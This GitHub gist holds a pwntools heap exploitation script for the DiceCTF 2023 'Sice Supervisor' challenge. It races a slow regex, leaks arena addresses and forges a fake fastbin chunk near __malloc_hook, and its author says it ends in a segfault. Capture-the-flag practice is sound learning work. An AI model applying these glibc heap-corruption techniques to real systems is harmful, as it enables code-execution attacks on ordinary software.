Skip to content

Instantly share code, notes, and snippets.

@dfyz
Created February 5, 2023 20:59
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save dfyz/2dbdad574fe4644cffa7a9c344b2ec04 to your computer and use it in GitHub Desktop.
Save dfyz/2dbdad574fe4644cffa7a9c344b2ec04 to your computer and use it in GitHub Desktop.
An attempt to solve Sice Supervisor from DiceCTF 2023, which almost succeeded
from pwn import *
PROMPT = b'> '
DONE = b'Done!\n'
if __name__ == '__main__':
with process('./sice_supervisor') as tube:
#with remote('mc.ax', 30283) as tube:
# deploy
tube.sendlineafter(PROMPT, b'1')
def sice(payload, wait_prompt=True):
if wait_prompt:
tube.sendlineafter(PROMPT, b'2')
else:
tube.sendline(b'2')
tube.sendlineafter(PROMPT, b'0')
tube.sendafter(PROMPT, payload)
pause()
sice(flat(
b'1\n',
b'42000\n',
b'1\n',
b'42000\n',
b'2\n',
b'0\n',
b'1\n',
b'3\n',
b'3\n'
b'0\n',
b'kek\n',
b'4\n',
b'0\n',
))
tube.recvuntil(b'kek')
arena_leak = unpack(tube.recv(3), 'all') << (3 * 8)
# clean the stuff up
sice(flat(
b'2\n',
b'1\n',
b'2\n',
b'0\n',
), wait_prompt=False)
def add_evil_deet(deet_idx):
sice(flat(
b'1\n', # add deet
b'100000\n', # size
b'3\n', # edit deet
str(deet_idx).encode() + b'\n',
))
# send slow payload
tube.sendlineafter(PROMPT, b'3')
tube.sendlineafter(PROMPT, b'0')
tube.sendafter(PROMPT, b'(?:){2000000000}\n') # corresponds to O(20) seconds
# edit payload
cnt = 100
for idx in range(cnt):
payload = b'\xFF' * 1000
if idx + 1 == cnt:
payload = payload[:-1]
sice(payload)
add_evil_deet(0)
add_evil_deet(1)
sice(flat(
b'4\n', # view deet
b'1\n', # deet idx
))
sice(flat(
b'4\n', # view deet
b'0\n', # deet idx
b'3\n', # edit deet
b'0\n', # deet idx
b'lol\n', # edit payload
b'2\n', # remove deet
b'0\n', # deet idx
b'1\n', # add deet
b'10000\n', # size
b'2\n', # remove deet
b'1\n', # deet idx
))
for done_idx in range(5):
tube.readuntil(DONE)
log.info('DONE #%d', done_idx)
sice(flat(
b'1\n',
f'{0xffffffffffffcdc8}\n'.encode(),
b'1\n',
f'{0x70}\n'.encode(),
b'1\n',
f'{0x868 - 0x70 - 0x10}\n'.encode(),
b'1\n',
b'16\n',
b'3\n',
b'4\n',
b'A' * 16 + b'\n',
b'4\n',
b'4\n',
), wait_prompt=False)
tube.recvuntil(b'A' * 16)
main_arena = unpack(tube.recv(6), 'all')
fake_chunk = main_arena - 0x33
log.info('thread arena: %#x', arena_leak)
log.info('main_arena: %#x', main_arena)
log.info('fake_chunk: %#x', fake_chunk)
sice(flat(
b'3\n',
b'2\n',
p64(0) * 2,
p32(0),
p32(2),
p64(1),
p64(0) * 5,
p64(fake_chunk),
b'\n',
), wait_prompt=False)
pause()
# At this point, we have a fake 0x70 fastbin chunk in the thread arena.
# When we try to allocate a 0x70-sized chunk, we succesfully allocate an
# area around `__malloc_hook` that can then be overwritten with controlled data.
#
# However, a fragment of `__memalign_hook` (which is set to `memalign_hook_ini`)
# gets interpreted as an (invalid) next chunk address.
# This would be harmless if not for this code:
# https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=f8e7250f70f6f26b0acb5901bcc4f6e39a8a52b2;hb=23158b08a0908f381459f273a984c6fd328363cb#l3601
#
# It tries to move the invalid "chunk" to tcache and promptly segfaults. :(
sice(flat(
b'1\n',
f'{0x68}\n'.encode(),
))
pause()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment